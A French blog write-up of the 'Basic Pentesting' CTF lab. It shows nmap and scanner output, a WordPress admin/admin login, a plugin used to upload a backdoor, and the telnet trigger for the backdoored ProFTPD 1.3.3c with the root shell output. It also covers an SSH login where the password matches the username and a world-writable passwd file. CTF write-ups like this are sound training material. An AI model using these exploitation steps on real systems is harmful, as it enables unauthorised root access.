Ici on attaque un CTF nommé Basic Pentesting qui porte bien son nom. Par conséquent je ne passerais que rapidement sur l’exploitation de ce CTF.
Au menu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap scan report for 192.168.1.48
Host is up (0.00065s latency).
Not shown: 65499 closed ports, 33 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|_ 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
La page d’index est celle par défaut d’Apache (It works!) mais le module buster de Wapiti nous laisse une piste supplémentaire :
1
2
[*] Launching module buster
Found webpage http://192.168.1.48/secret
Il s’agit d’un blog Wordpress en version 4.9.2 (d’après la balise meta generator du code HTML)
On remarque vite que les liens du site font référence à un hostname appelé vtcsec du coup on rajoute une entrée dans notre /etc/hosts.
#OPSecFAIL
On lance un WPScan dessus qui trouve essentiellement que le listing est activé sur le dossier /wp-includes/ et que l’utilisateur admin est présent.
Le dossier wp-includes n’a rien qui saute au yeux… Mais quand on essaye de se connecter sur /wp-admin avec admin/admin… ça passe.
A partir de là chacun à sa technique, moi j’aime bien installer le plugin wp-file-manager qui permet de gérer les fichiers (on ne voit que ceux sous la racine wordpress mais on peut uploader une backdoor).
Bien sûr on tourne avec les droits uid=33(www-data) gid=33(www-data) groups=33(www-data).
On trouve facilement un utilisateur marlinspike sur le système (membre du groupe sudo) dont le dossier personnel est visitable.
On trouve notamment une archive décompressée nommée backdoored_proftpd-1.3.3c faisant référence à une backdoor bien connue.
L’obtention des droits root est facile :
1
2
3
4
5
6
7
8
$ telnet vtcsec 21
Trying 192.168.1.48...
Connected to vtcsec.
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.1.48]
HELP ACIDBITCHEZ
id;
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
#YOLOsecurity
Le synopsis nous invite à chercher d’autres façons d’obtenir les droits root.
Une possibilité est d’utiliser le mot de passe marlinspike pour le compte du même nom :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh marlinspike@vtcsec
marlinspike@vtcsec's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
19 packages can be updated.
19 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
marlinspike@vtcsec:~$ sudo -l
[sudo] password for marlinspike:
Matching Defaults entries for marlinspike on vtcsec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marlinspike may run the following commands on vtcsec:
(ALL : ALL) ALL
Au passage ça m’a fait remarquer que Ncrack ne dispose pas d’option pour tester automatiquement l’absence de mot de passe ou un mot de passe équivalent au login alors que cette bonne vieille Hydre peut le faire.
On rajoutera à ça la présence de permissions hasardeuses :
1
2
-rw-rw-rw- 1 root root 2364 Nov 16 13:02 passwd
-rw-r--r-- 1 root shadow 1305 Nov 16 13:02 shadow
Conclusions
Simple et rapide. Une situation plus réaliste aurait été la présence d’une page avec une injection SQL permettant de retrouver le hash de l’admin Wordpress pour le casser…
Published February 05 2018 at 12:09